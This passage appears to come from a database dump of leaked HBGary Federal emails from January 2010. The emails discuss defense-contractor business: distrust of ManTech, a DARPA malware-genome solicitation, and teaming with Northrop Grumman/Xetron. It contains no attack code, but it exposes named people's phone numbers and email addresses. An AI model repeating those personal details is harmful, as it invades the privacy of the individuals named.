(Jesse Kornblum) and binary r/e tools over the years.&nbsp; Their CEO is considering productizing these technologies to grow revenue.&nbsp; Dan&nbsp;thinks ManTech should stick with services.&nbsp; But in any case, it would be a&nbsp;long shot for ManTech to actually put up&nbsp;money to buy HBGary software for either internal or customer&nbsp;services use.&nbsp;I could see where ManTech might string us along to do detailed evaluations, but it would only be to milk us for info, not for actual monetary transactions.&nbsp;&nbsp;I leave open the possibility that we could do business, but there is a bar of distrust (with us and them) that we would have to get past.--&nbsp;Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4750,'aaron_hbgary_com/4750.html'),(1570,'2010-01-27','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000473.M597846P3547Q1571.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I got am idea.','That could work.  But, would NGIS give up on things like Cyberworx that\r\nthey may see as a better capability than ours?  I am not sure if\r\nCyberworx could be a data feed into our system.  I think it may overlap\r\ntoo much and is really not a \"data\" generator.  I think it may be a big\r\nleap for NGIS to just accept our solution.  I would hope that they would\r\ncome into it with a very open mind but I have not seen evidence of that\r\ntype of thought process being present over there yet.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 10:36 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: I got am idea.\r\n\r\nMy thought here is Xetron and HBGary develop the intelligence piece and\r\nspecialize in the expertise for doing threat intelligence and advanced\r\nthreat analysis.  NGIS does the larger offering, bodyshop, integration\r\non various platforms, security appliances, etc.\r\n\r\nThey still get the bigger piece of the pie, which is fair, since they\r\nhave the charter to do that, we get to do the stuff we want to do and\r\nmarry it to the larger offerings.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 26, 2010, at 9:53 PM, Aaron Barr wrote:\r\n\r\n> What if we talk to IS and work out am arrangment.\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15728,'aaron_hbgary_com/15728.html'),(1571,'2010-01-27','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000473.M853271P3547Q1572.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Not sure if you saw this','Hi Aaron - \r\n\r\nI\'m looking forward to lunch on Friday.  I just hope I can keep up with\r\nyou.  \r\n\r\nThis is interesting, both because it\'s in your sweet spot, but also\r\nbecause they seem to be steeling your IP and getting away with it.  How\r\ndoes that work?  You should investigate legal challenge if you were\r\nfortunate enough to have copyrighted the term \"digital DNA\".  \r\n\r\nAs I see it, my big challenge and potential value add, is to somehow\r\nconvince the NGC bureaucracy that they must perform an unnatural act.\r\nThey must act deliberately and quickly to solidify a position and a\r\nstrategy, invest funds, and market for others as well as themselves.  I\r\nthink that\'s what made Essex successful and it can work again.  But you\r\nknow this bureaucracy so I\'ll benefit from having your thoughts on how\r\nto do that best.  \r\n\r\nCall if you want to talk sooner.  I\'ll be driving to and from Culpepper\r\n(can you guess where?) between 8-10 this morning and 1-3 this afternoon.\r\nYou know how to reach me.  \r\n\r\nTom\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 11:00 PM\r\nTo: Conroy, Thomas W.\r\nCc: Barnett, Jim H.\r\nSubject: Not sure if you saw this\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dn\r\na-to-identify-hackers/\r\n\r\nLast night DARPA released a Malware Genome Project pre solicitation with\r\nthe vendor day this Friday and another on Feb. 8th.\r\n\r\nThis is unbelievable to us, HBGary.  We have the trademark for the term\r\nDigital DNA, we have a product with the same name that automatically\r\nanalyzes malware and detects zero day attacks with 75% accuracy.  We\r\ndetected the aurora incident as an example, many others.  We also have\r\nan existing malware genome database that supports our Digital DNA\r\nproduct.  This RFP and where the Pentagon is going is right down our\r\nlane.\r\n\r\nI had an interesting discussion with Brian Masterson today.  We met with\r\nthe consortium members for our first meeting today.  He is concerned\r\nabout the conflict for building capability and pursuing work separate\r\nfrom NGIS ISD.  I am concerned about it as well.  I want to partner with\r\nXetron to develop this capability but am anxious at the possibility of\r\ngetting down the road and getting shutdown because of internal\r\nconflicts.\r\n\r\nI guess we can talk more about this Friday, but its on my mind, and I\r\nusually don\'t let things sit on my mind long.  Honest assessment, NGIS\r\nISD does not have the talent to develop a significant capability.  They\r\ncan integrate.\r\n\r\nWhat I propose is let Xetron and HBGary develop the Threat Intelligence\r\ncapability.  Let NGIS develop the integration of that capability within\r\na larger offering and we can pursue the big contracts all together.\r\n\r\nI think there is still some baggage on the ISD side with my departure.\r\nI have no problem talking with anyone else in NG about cooperative\r\npursuits, but I cant get anyone in ISD to return a call, so not sure how\r\nthat effects things.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13551,'aaron_hbgary_com/13551.html'),(1572,'2010-01-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000473.M92005P3547Q1570.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: ManTech','Nice response.On Jan 26, 2010, at 9:44 PM, Aaron Barr wrote:Thanks. &nbsp;I understand the issues I think and we can take it as it comes. &nbsp;I have strong relationships at the most senior levels of the company, hopefully that helps. &nbsp;I am not sure where Dan fits in the organization. &nbsp;Productizing is the new black for defense contractors trying to eek out as much profit as possible in a tight economy, however where there is an existing robust technology Mantech is not interested in reinventing, or so Alex Nieves told me, he is the VP for the Cyber and Forensics OU. &nbsp;I think we can find areas to collaborate, but there is definitely some overlap and they will look out for their best interests first.Rich and I have a demo scheduled for next week to Alex and his team, we will see how it goes.AaronOn Jan 26, 2010, at 1:36 PM, Penny Leavy-Hoglund wrote:Here is some feedback on ManTech.&nbsp; You might want to be careful&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, January 26, 2010 9:46 AMTo:&nbsp;Rich Cummings; Matt O\'FlynnCc:&nbsp;Penny C. HoglundSubject:&nbsp;ManTech&nbsp;Rich and Matt,&nbsp;HBGary needs to use extreme caution when dealing with ManTech.&nbsp; Coincidentally, I just called and spoke with&nbsp;Dan Hall of ManTech who told me he drank with Matt and Phil at&nbsp;DC3 last night.&nbsp;&nbsp;ManTech&nbsp;views themselves as an HBGary competitor.&nbsp; They&nbsp;have developed a suite of memory analysis (Jesse Kornblum) and binary r/e tools over the years.&nbsp; Their CEO is considering productizing these technologies to grow revenue.&nbsp; Dan&nbsp;thinks ManTech should stick with services.&nbsp; But in any case, it would be a&nbsp;long shot for ManTech to actually put up&nbsp;money to buy HBGary software for either internal or customer&nbsp;services use.&nbsp;I could see where ManTech might string us along to do detailed evaluations, but it would only be to milk us for info, not for actual monetary transactions.&nbsp;&nbsp;I leave open the possibility that we could do business, but there is a bar of distrust (with us and them) that we would have to get past.--&nbsp;Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',9345,'aaron_hbgary_com/9345.html'),(1573,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000474.M224350P3547Q1574.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Not sure if you saw this','So hes already thinking about it.AaronBegin forwarded message:From: \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt;Date: January 27, 2010 6:38:46 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Not sure if you saw thisHi Aaron - I\'m looking forward to lunch on Friday. &nbsp;I just hope I can keep up withyou. &nbsp;This is interesting, both because it\'s in your sweet spot, but alsobecause they seem to be steeling your IP and getting away with it. &nbsp;Howdoes that work? &nbsp;You should investigate legal challenge if you werefortunate enough to have copyrighted the term \"digital DNA\". &nbsp;As I see it, my big challenge and potential value add, is to somehowconvince the NGC bureaucracy that they must perform an unnatural act.They must act deliberately and quickly to solidify a position and astrategy, invest funds, and market for others as well as themselves. &nbsp;Ithink that\'s what made Essex successful and it can work again. &nbsp;But youknow this bureaucracy so I\'ll benefit from having your thoughts on howto do that best. &nbsp;Call if you want to talk sooner. &nbsp;I\'ll be driving to and from Culpepper(can you guess where?) between 8-10 this morning and 1-3 this afternoon.You know how to reach me. &nbsp;Tom-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 11:00 PMTo: Conroy, Thomas W.Cc: Barnett, Jim H.Subject: Not sure if you saw thishttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/Last night DARPA released a Malware Genome Project pre solicitation withthe vendor day this Friday and another on Feb. 8th.This is unbelievable to us, HBGary. &nbsp;We have the trademark for the termDigital DNA, we have a product with the same name that automaticallyanalyzes malware and detects zero day attacks with 75% accuracy. &nbsp;Wedetected the aurora incident as an example, many others. &nbsp;We also havean existing malware genome database that supports our Digital DNAproduct. &nbsp;This RFP and where the Pentagon is going is right down ourlane.I had an interesting discussion with Brian Masterson today. &nbsp;We met withthe consortium members for our first meeting today. &nbsp;He is concernedabout the conflict for building capability and pursuing work separatefrom NGIS ISD. &nbsp;I am concerned about it as well. &nbsp;I want to partner withXetron to develop this capability but am anxious at the possibility ofgetting down the road and getting shutdown because of internalconflicts.I guess we can talk more about this Friday, but its on my mind, and Iusually don\'t let things sit on my mind long. &nbsp;Honest assessment, NGISISD does not have the talent to develop a significant capability. &nbsp;Theycan integrate.What I propose is let Xetron and HBGary develop the Threat Intelligencecapability. &nbsp;Let NGIS develop the integration of that capability withina larger offering and we can pursue the big contracts all together.I think there is still some baggage on the ISD side with my departure.I have no problem talking with anyone else in NG about cooperativepursuits, but I cant get anyone in ISD to return a call, so not sure howthat effects things.Thoughts?Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11537,'aaron_hbgary_com/11537.html'),(1574,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000474.M39264P3547Q1573.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: I got am idea.','Don\'t know.  I am going to talk to Tom about this tact.  I see ours actually fitting in to their larger integrated offering.  I don\'t see them producing a feed, but you tell me when your their today.  I see us providing the brains for their larger integrated offering.\r\n\r\nAaron\r\n\r\nOn Jan 27, 2010, at 5:02 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> That could work.  But, would NGIS give up on things like Cyberworx that\r\n> they may see as a better capability than ours?  I am not sure if\r\n> Cyberworx could be a data feed into our system.  I think it may overlap\r\n> too much and is really not a \"data\" generator.  I think it may be a big\r\n> leap for NGIS to just accept our solution.  I would hope that they would\r\n> come into it with a very open mind but I have not seen evidence of that\r\n> type of thought process being present over there yet.\r\n> \r\n> Brian\r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 26, 2010 10:36 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: I got am idea.\r\n> \r\n> My thought here is Xetron and HBGary develop the intelligence piece and\r\n> specialize in the expertise for doing threat intelligence and advanced\r\n> threat analysis.  NGIS does the larger offering, bodyshop, integration\r\n> on various platforms, security appliances, etc.\r\n> \r\n> They still get the bigger piece of the pie, which is fair, since they\r\n> have the charter to do that, we get to do the stuff we want to do and\r\n> marry it to the larger offerings.\r\n> \r\n> Thoughts?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Jan 26, 2010, at 9:53 PM, Aaron Barr wrote:\r\n> \r\n>> What if we talk to IS and work out am arrangment.\r\n>> \r\n>> From my iPhone\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15781,'aaron_hbgary_com/15781.html'),(1575,'2010-01-27','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000474.M419346P3547Q1575.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I got am idea.','My concern is whether they are parochial with a \"not invented here\"\r\nmentality.   So, will Vern Boyle or Chris Valentino sign up?\r\n\r\nI have a telephone call with Tom Conroy this afternoon.  \r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 6:42 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: I got am idea.\r\n\r\nDon\'t know.  I am going to talk to Tom about this tact.  I see ours\r\nactually fitting in to their larger integrated offering.  I don\'t see\r\nthem producing a feed, but you tell me when your their today.  I see us\r\nproviding the brains for their larger integrated offering.\r\n\r\nAaron\r\n\r\nOn Jan 27, 2010, at 5:02 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> That could work.  But, would NGIS give up on things like Cyberworx\r\nthat\r\n> they may see as a better capability than ours?  I am not sure if\r\n> Cyberworx could be a data feed into our system.  I think it may\r\noverlap\r\n> too much and is really not a \"data\" generator.  I think it may be a\r\nbig\r\n> leap for NGIS to just accept our solution.  I would hope that they\r\nwould\r\n> come into it with a very open mind but I have not seen evidence of\r\nthat\r\n> type of thought process being present over there yet.\r\n> \r\n> Brian\r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 26, 2010 10:36 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Re: I got am idea.\r\n> \r\n> My thought here is Xetron and HBGary develop the intelligence piece\r\nand\r\n> specialize in the expertise for doing threat intelligence and advanced\r\n> threat analysis.  NGIS does the larger offering, bodyshop, integration\r\n> on various platforms, security appliances, etc.\r\n> \r\n> They still get the bigger piece of the pie, which is fair, since they\r\n> have the charter to do that, we get to do the stuff we want to do and\r\n> marry it to the larger offerings.\r\n> \r\n> Thoughts?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Jan 26, 2010, at 9:53 PM, Aaron Barr wrote:\r\n> \r\n>> What if we talk to IS and work out am arrangment.\r\n>> \r\n>> From my iPhone\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1542,'aaron_hbgary_com/1542.html'),(1576,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000474.M596057P3547Q1576.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: Not sure if you saw this','He is already thinking about the conflict and potential solutions.AaronBegin forwarded message:From: \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt;Date: January 27, 2010 6:38:46 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Not sure if you saw thisHi Aaron - I\'m looking forward to lunch on Friday. &nbsp;I just hope I can keep up withyou. &nbsp;This is interesting, both because it\'s in your sweet spot, but alsobecause they seem to be steeling your IP and getting away with it. &nbsp;Howdoes that work? &nbsp;You should investigate legal challenge if you werefortunate enough to have copyrighted the term \"digital DNA\". &nbsp;As I see it, my big challenge and potential value add, is to somehowconvince the NGC bureaucracy that they must perform an unnatural act.They must act deliberately and quickly to solidify a position and astrategy, invest funds, and market for others as well as themselves. &nbsp;Ithink that\'s what made Essex successful and it can work again. &nbsp;But youknow this bureaucracy so I\'ll benefit from having your thoughts on howto do that best. &nbsp;Call if you want to talk sooner. &nbsp;I\'ll be driving to and from Culpepper(can you guess where?) between 8-10 this morning and 1-3 this afternoon.You know how to reach me. &nbsp;Tom-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 11:00 PMTo: Conroy, Thomas W.Cc: Barnett, Jim H.Subject: Not sure if you saw thishttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/Last night DARPA released a Malware Genome Project pre solicitation withthe vendor day this Friday and another on Feb. 8th.This is unbelievable to us, HBGary. &nbsp;We have the trademark for the termDigital DNA, we have a product with the same name that automaticallyanalyzes malware and detects zero day attacks with 75% accuracy. &nbsp;Wedetected the aurora incident as an example, many others. &nbsp;We also havean existing malware genome database that supports our Digital DNAproduct. &nbsp;This RFP and where the Pentagon is going is right down ourlane.I had an interesting discussion with Brian Masterson today. &nbsp;We met withthe consortium members for our first meeting today. &nbsp;He is concernedabout the conflict for building capability and pursuing work separatefrom NGIS ISD. &nbsp;I am concerned about it as well. &nbsp;I want to partner withXetron to develop this capability but am anxious at the possibility ofgetting down the road and getting shutdown because of internalconflicts.I guess we can talk more about this Friday, but its on my mind, and Iusually don\'t let things sit on my mind long. &nbsp;Honest assessment, NGISISD does not have the talent to develop a significant capability. &nbsp;Theycan integrate.What I propose is let Xetron and HBGary develop the Threat Intelligencecapability. &nbsp;Let NGIS develop the integration of that capability withina larger offering and we can pursue the big contracts all together.I think there is still some baggage on the ISD side with my departure.I have no problem talking with anyone else in NG about cooperativepursuits, but I cant get anyone in ISD to return a call, so not sure howthat effects things.Thoughts?Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',946,'aaron_hbgary_com/946.html'),(1577,'2010-01-27','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297000474.M772890P3547Q1577.eml','aaron@hbgary.com,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Not sure if you saw this','\r\n\r\n\r\n\r\n\r\nRe: Not sure if you saw this\r\n\r\n\r\n\r\n\r\nGood morning Aaron...they don\'t return my calls either, it isn\'t personal I\'m sure. ;-).\r\nI doubt they have the tallent either, but I suspect they think they do.&nbsp; Since they did not fare well on the last DARPA competetion, they will want to improve on their record.&nbsp; But I also think they will want to sustain the manpower on site (Millersville) and a potential new opportunity might do the trick.&nbsp;\r\nSo if they won\'t answer the phone, how does one propose a teaming arrangement such as you describe?&nbsp; I wil assume that Xetron will answer your call so I might suggest that.&nbsp;\r\nThe problem with Millersville (there are a few) is that they don\'t really share the &quot;big integration&quot; theme that ISD management espouses.&nbsp; They feel they are good at tools and they need to prove thatm. So far, they have been less than successful but you have to give them credit for trying.&nbsp; Given their closed environment, they can hardly be expected to be integrators.\r\nThere is a lot of pressure out there right now to perform...win first.&nbsp;\r\nSolution...maybe...talk to either Kathy or Tim Gillespie. Tim just spun over from ACS (terminated) and is handling &quot;advocacy.&quot;. Not really his lane but he is a good guy inside the ISD wire.\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nCc: Barnett, Jim H.\r\nSent: Tue Jan 26 22:00:21 2010\r\nSubject: Not sure if you saw this\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\nLast night DARPA released a Malware Genome Project pre solicitation with the vendor day this Friday and another on Feb. 8th.\r\n\r\nThis is unbelievable to us, HBGary.&nbsp; We have the trademark for the term Digital DNA, we have a product with the same name that automatically analyzes malware and detects zero day attacks with 75% accuracy.&nbsp; We detected the aurora incident as an example, many others.&nbsp; We also have an existing malware genome database that supports our Digital DNA product.&nbsp; This RFP and where the Pentagon is going is right down our lane.\r\n\r\nI had an interesting discussion with Brian Masterson today.&nbsp; We met with the consortium members for our first meeting today.&nbsp; He is concerned about the conflict for building capability and pursuing work separate from NGIS ISD.&nbsp; I am concerned about it as well.&nbsp; I want to partner with Xetron to develop this capability but am anxious at the possibility of getting down the road and getting shutdown because of internal conflicts.\r\n\r\nI guess we can talk more about this Friday, but its on my mind, and I usually don\'t let things sit on my mind long.&nbsp; Honest assessment, NGIS ISD does not have the talent to develop a significant capability.&nbsp; They can integrate.\r\n\r\nWhat I propose is let Xetron and HBGary develop the Threat Intelligence capability.&nbsp; Let NGIS develop the integration of that capability within a larger offering and we can pursue the big contracts all together.\r\n\r\nI think there is still some baggage on the ISD side with my departure.&nbsp; I have no problem talking with anyone else in NG about cooperative pursuits, but I cant get anyone in ISD to return a call, so not sure how that effects things.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7444,'aaron_hbgary_com/7444.html'),(1578,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000474.M957603P3547Q1578.eml','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>,\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','Re: Not sure if you saw this','Amen Jim.From my iPhoneOn Jan 27, 2010, at 7:46 AM, &quot;Barnett, Jim H.&quot; &lt;Jim.H.Barnett@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood morning Aaron...they don&#39;t return my calls either, it isn&#39;t personal I&#39;m sure. ;-).\r\nI doubt they have the tallent either, but I suspect they think they do.  Since they did not fare well on the last DARPA competetion, they will want to improve on their record.  But I also think they will want to sustain the manpower on site (Millersville) and a potential new opportunity might do the trick. \r\n\r\nSo if they won&#39;t answer the phone, how does one propose a teaming arrangement such as you describe?  I wil assume that Xetron will answer your call so I might suggest that. \r\nThe problem with Millersville (there are a few) is that they don&#39;t really share the &quot;big integration&quot; theme that ISD management espouses.  They feel they are good at tools and they need to prove thatm. So far, they have been less than successful but you have to give them credit for trying.  Given their closed environment, they can hardly be expected to be integrators.\r\n\r\nThere is a lot of pressure out there right now to perform...win first. \r\nSolution...maybe...talk to either Kathy or Tim Gillespie. Tim just spun over from ACS (terminated) and is handling &quot;advocacy.&quot;. Not really his lane but he is a good guy inside the ISD wire.\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nCc: Barnett, Jim H.\r\nSent: Tue Jan 26 22:00:21 2010\r\nSubject: Not sure if you saw this\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\n\r\nLast night DARPA released a Malware Genome Project pre solicitation with the vendor day this Friday and another on Feb. 8th.\r\n\r\nThis is unbelievable to us, HBGary.  We have the trademark for the term Digital DNA, we have a product with the same name that automatically analyzes malware and detects zero day attacks with 75% accuracy.  We detected the aurora incident as an example, many others.  We also have an existing malware genome database that supports our Digital DNA product.  This RFP and where the Pentagon is going is right down our lane.\r\n\r\n\r\nI had an interesting discussion with Brian Masterson today.  We met with the consortium members for our first meeting today.  He is concerned about the conflict for building capability and pursuing work separate from NGIS ISD.  I am concerned about it as well.  I want to partner with Xetron to develop this capability but am anxious at the possibility of getting down the road and getting shutdown because of internal conflicts.\r\n\r\n\r\nI guess we can talk more about this Friday, but its on my mind, and I usually don&#39;t let things sit on my mind long.  Honest assessment, NGIS ISD does not have the talent to develop a significant capability.  They can integrate.\r\n\r\n\r\nWhat I propose is let Xetron and HBGary develop the Threat Intelligence capability.  Let NGIS develop the integration of that capability within a larger offering and we can pursue the big contracts all together.\r\n\r\nI think there is still some baggage on the ISD side with my departure.  I have no problem talking with anyone else in NG about cooperative pursuits, but I cant get anyone in ISD to return a call, so not sure how that effects things.\r\n\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12730,'aaron_hbgary_com/12730.html'),(1579,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000475.M134305P3547Q1579.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Not sure if you saw this',':)Begin forwarded message:From: \"Barnett, Jim H.\" &lt;Jim.H.Barnett@ngc.com&gt;Date: January 27, 2010 7:46:16 AM ESTTo: &lt;aaron@hbgary.com&gt;, \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt;Subject: Re: Not sure if you saw this\r\n\r\nGood morning Aaron...they don\'t return my calls either, it isn\'t personal I\'m sure. ;-).\r\nI doubt they have the tallent either, but I suspect they think they do.&nbsp; Since they did not fare well on the last DARPA competetion, they will want to improve on their record.&nbsp; But I also think they will want to sustain the manpower on site (Millersville) and a potential new opportunity might do the trick.&nbsp;\r\nSo if they won\'t answer the phone, how does one propose a teaming arrangement such as you describe?&nbsp; I wil assume that Xetron will answer your call so I might suggest that.&nbsp;\r\nThe problem with Millersville (there are a few) is that they don\'t really share the \"big integration\" theme that ISD management espouses.&nbsp; They feel they are good at tools and they need to prove thatm. So far, they have been less than successful but you have to give them credit for trying.&nbsp; Given their closed environment, they can hardly be expected to be integrators.\r\nThere is a lot of pressure out there right now to perform...win first.&nbsp;\r\nSolution...maybe...talk to either Kathy or Tim Gillespie. Tim just spun over from ACS (terminated) and is handling \"advocacy.\". Not really his lane but he is a good guy inside the ISD wire.\r\nJim\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nCc: Barnett, Jim H.\r\nSent: Tue Jan 26 22:00:21 2010\r\nSubject: Not sure if you saw this\r\n\r\nhttp://www.wired.com/dangerroom/2010/01/pentagon-searches-for-digital-dna-to-identify-hackers/\r\n\r\nLast night DARPA released a Malware Genome Project pre solicitation with the vendor day this Friday and another on Feb. 8th.\r\n\r\nThis is unbelievable to us, HBGary.&nbsp; We have the trademark for the term Digital DNA, we have a product with the same name that automatically analyzes malware and detects zero day attacks with 75% accuracy.&nbsp; We detected the aurora incident as an example, many others.&nbsp; We also have an existing malware genome database that supports our Digital DNA product.&nbsp; This RFP and where the Pentagon is going is right down our lane.\r\n\r\nI had an interesting discussion with Brian Masterson today.&nbsp; We met with the consortium members for our first meeting today.&nbsp; He is concerned about the conflict for building capability and pursuing work separate from NGIS ISD.&nbsp; I am concerned about it as well.&nbsp; I want to partner with Xetron to develop this capability but am anxious at the possibility of getting down the road and getting shutdown because of internal conflicts.\r\n\r\nI guess we can talk more about this Friday, but its on my mind, and I usually don\'t let things sit on my mind long.&nbsp; Honest assessment, NGIS ISD does not have the talent to develop a significant capability.&nbsp; They can integrate.\r\n\r\nWhat I propose is let Xetron and HBGary develop the Threat Intelligence capability.&nbsp; Let NGIS develop the integration of that capability within a larger offering and we can pursue the big contracts all together.\r\n\r\nI think there is still some baggage on the ISD side with my departure.&nbsp; I have no problem talking with anyone else in NG about cooperative pursuits, but I cant get anyone in ISD to return a call, so not sure how that effects things.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13733,'aaron_hbgary_com/13733.html'),(1580,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000475.M321865P3547Q1580.eml','\"Ted Vera\" <ted@hbgary.com>','OK Sanity Check','Should I send a note to Kathy?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9913,'aaron_hbgary_com/9913.html'),(1581,'2010-01-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000475.M910335P3547Q1581.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: Not sure if you saw this','You\'ll appreciate this...Begin forwarded message:From: \"Barnett, Jim H.\" &lt;Jim.H.Barnett@ngc.com&gt;Date: January 27, 2010 7:46:16 AM ESTTo: &lt;aaron@hbgary.com&gt;, \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt;Subject: Re: Not sure if you saw this\r\n\r\nGood morning Aaron...they don\'t return my calls either, it isn\'t personal I\'m sure. ;-).\r\nI doubt they have the tallent either, but I suspect they think they do.&nbsp; Since they did not fare well on the last DARPA competetion, they will want to improve on their record.&nbsp; But I also think they will want to sustain the manpower on site (Millersville) and a potential new opportunity might do the trick.&nbsp;\r\nSo if they won\'t answer the phone, how does one propose a teaming arrangement such as you describe?&nbsp; I wil assume that Xetron will answer your call so I might suggest that.&nbsp;\r\nThe problem with Millersville (there are a few) is that they don\'t really share the \"big integration\" theme that ISD management espouses.&nbsp; They feel they are good at tools and they need to prove thatm. So far, they have been less than successful but you have to give them credit for trying.&nbsp; Given their closed environment, they can hardly be expected to be integrators.\r\nThere is a lot of pressure out there right now to perform...win first.&nbsp;\r\nSolution...maybe...talk to either Kathy or Tim 